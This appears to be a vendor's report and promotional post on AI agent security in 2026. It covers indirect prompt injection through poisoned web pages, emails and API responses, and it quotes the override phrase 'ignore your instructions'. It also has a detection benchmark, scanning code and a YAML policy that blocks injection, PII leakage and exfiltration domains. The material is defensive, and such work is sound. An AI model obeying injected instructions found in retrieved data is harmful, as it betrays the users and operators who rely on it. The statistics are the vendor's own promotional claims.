The State of AI Agent
Security in 2026

The scale of AI agent deployment in 2026 is unprecedented. According to Gartner's February 2026 forecast, 35% of enterprise software interactions will involve an AI agent by end of year — up from under 5% in 2024. McKinsey's State of AI report estimates that 72% of organizations are now running at least one autonomous agent in production, though fewer than 20% have formal security controls around them.

What makes these numbers alarming is the gap between adoption and security maturity. The OWASP Foundation published its Top 10 for LLM Applications v2.0 in late 2025, and their assessment was blunt: fewer than 15% of production agent deployments have adequate runtime security controls. Most teams ship agents with the same security posture as a prototype — open tool access, no input scanning, raw conversation logs containing PII.

From our own monitoring data across production deployments: 73% of agents have access to tools they never use, 41% have no input scanning of any kind, and 68% log raw conversation data including PII without redaction. These are not theoretical risks. They are the current state of production agent security.

The attack surface for AI agents is broader than most teams realize. Unlike traditional web applications where the attack surface is the HTTP request, an agent's attack surface is its entire context window — every user message, tool output, retrieved document, and API response that flows into the LLM. Here is what we see in production, ranked by prevalence.

The most important trend in 2026 is the shift from direct to indirect prompt injection. In 2024, most injection attempts were users typing "ignore your instructions" directly into the chat. In 2026, the majority of injections arrive through data the agent retrieves — a poisoned web page, a malicious email in the inbox, a compromised API response. The attacker never touches the agent directly. This makes detection significantly harder because the malicious payload enters through trusted data channels.

Security research papers are useful, but production incidents tell the real story. Here are documented cases from 2025–2026 that illustrate the attack patterns teams face today.

We audited the major agent frameworks for built-in security capabilities as of March 2026. The short answer: none of them ship comprehensive runtime security. The long answer reveals meaningful differences in how far they go.

Detection effectiveness varies dramatically by approach. We benchmarked four detection strategies against a dataset of 10,000 agent sessions — 2,400 containing confirmed attack payloads across all major threat categories, and 7,600 benign sessions with edge cases designed to trigger false positives.

Approach                    Detection   False Pos.   Latency (p50)
────────────────────────────────────────────────────────────────────
Regex only (L1)                 62%         0.8%          1.2ms
Semantic only (L2)              71%         3.1%          6.1ms
LLM classifier only (L3)       84%         1.9%        180ms
Multi-layer (L1+L2+L3)         96%         1.4%          8.2ms*

* p50 is low because L1 catches 62% of threats immediately.
  Only events that pass L1 go to L2, and only ambiguous L2
  results reach L3. Most events resolve in under 10ms.

The key insight is that no single layer is sufficient. Regex catches known patterns fast but misses rephrased attacks. Semantic similarity catches paraphrased attacks but has higher false positive rates. LLM judges are the most accurate but too slow and expensive for every request. The multi-layer approach uses each layer as a filter for the next — catching 62% of threats in under 2ms, another 25% in under 10ms, and only sending the remaining 13% to the LLM judge.

False positive rates matter as much as detection rates. A security tool that blocks legitimate requests is worse than one that misses occasional attacks, because it creates pressure to disable the tool entirely. The multi-layer approach achieves a 1.4% false positive rate by using L1's high-precision patterns as the primary filter and only escalating ambiguous cases.

Most production agents today look something like this — a functional agent loop with zero security controls. Every input goes straight to the LLM, every output goes straight to the user, and every tool call executes without inspection.

from openai import OpenAI

client = OpenAI()

def run_agent(user_message: str) -> str:
    # No input scanning -- injection goes straight to the LLM
    response = client.chat.completions.create(
        model="gpt-4o",
        messages=[
            {"role": "system", "content": SYSTEM_PROMPT},
            {"role": "user", "content": user_message},  # untrusted
        ],
        tools=ALL_TOOLS,  # full tool access, no restrictions
    )

    # No output scanning -- PII, secrets, anything goes to the user
    return response.choices[0].message.content

This is the agent that 41% of production deployments are running today. Now here is the same agent with runtime security:

from openai import OpenAI
from rune import Shield

client = OpenAI()
shield = Shield()  # auto-configures from RUNE_API_KEY

def run_agent(user_message: str) -> str:
    # Scan input BEFORE it reaches the LLM
    input_result = shield.scan_input(user_message)
    if input_result.blocked:
        return f"Request blocked: {input_result.threat_type}"

    response = client.chat.completions.create(
        model="gpt-4o",
        messages=[
            {"role": "system", "content": SYSTEM_PROMPT},
            {"role": "user", "content": user_message},
        ],
        tools=ALLOWED_TOOLS,  # least privilege
    )

    output = response.choices[0].message.content

    # Scan output BEFORE it reaches the user
    output_result = shield.scan_output(output)
    if output_result.blocked:
        return "Response contained sensitive data and was blocked."

    return output

For teams using agent frameworks, Rune integrates natively without changing your agent logic:

# LangChain -- drop-in callback
from rune.integrations.langchain import RuneCallbackHandler
chain.invoke({"input": msg}, config={"callbacks": [RuneCallbackHandler()]})

# OpenAI -- transparent wrapper
from rune.integrations.openai import shield_openai
client = shield_openai(OpenAI())  # all calls auto-scanned

# MCP -- security proxy for any MCP server
# pip install 'runesec[mcp]'
# RUNE_API_KEY=rune_live_xxx rune-mcp

And for teams that want policy enforcement without writing code, Rune's YAML policy engine restricts what agents can do at runtime:

version: "1.0"
rules:
  - name: block-injection
    scanner: prompt_injection
    action: block
    severity: critical

  - name: restrict-tools
    scanner: tool_access
    action: block
    config:
      allowed_tools:
        - search_knowledge_base
        - get_order_status
      # everything else is denied

  - name: block-pii-in-output
    scanner: pii
    action: block
    config:
      blocked_entities: [ssn, credit_card, api_key]

  - name: block-exfiltration
    scanner: exfiltration
    action: block
    config:
      blocked_domains: ["*.pastebin.com", "webhook.site", "*.ngrok.io"]

Based on what we see in production data, customer conversations, and the trajectory of the threat landscape, here is what we expect for the rest of 2026.

We built Rune because we saw this problem first-hand. As AI agents proliferated in 2025, the security tooling available was either enterprise-only (requiring six-month procurement cycles), framework-specific (locking you into one vendor), or research-grade (not production-ready). None of it worked the way developers expected — drop it in, have it work, ship on Monday.

Rune is a runtime security layer that sits between your users and your agents. Three lines of code adds a full scanning pipeline — 52 pattern-matching rules, 57 semantic embeddings, and an optional LLM judge. It works with any Python or TypeScript agent framework. Policies are defined in YAML, not code. Events stream to a real-time dashboard with alerting, risk scoring, and audit trails.

Critically, Rune runs in-process. Raw content never leaves your infrastructure by default. Only metadata (threat type, risk score, timestamps) goes to the dashboard for monitoring. This is a hard requirement for teams handling healthcare data, financial records, or anything governed by data residency regulations.

Event arrives (agent input or output)
  │
  ├─ L1 Pattern Scan (< 3ms)
  │    52 regex patterns: injection, PII, secrets, commands
  │    ├─ Match → block/flag immediately
  │    └─ No match → pass to L2
  │
  ├─ L2 Semantic Scan (5-10ms)
  │    57 threat embeddings, cosine similarity
  │    ├─ High similarity → block/flag
  │    └─ Low similarity → pass to L3 (sampled)
  │
  └─ L3 LLM Judge (100-500ms, optional)
       Claude or GPT classifies ambiguous events
       ├─ Malicious → block/flag
       └─ Benign → allow

Metadata only → Rune Dashboard (alerts, risk scores, audit trail)
Raw content stays in your infrastructure.

Frequently asked questions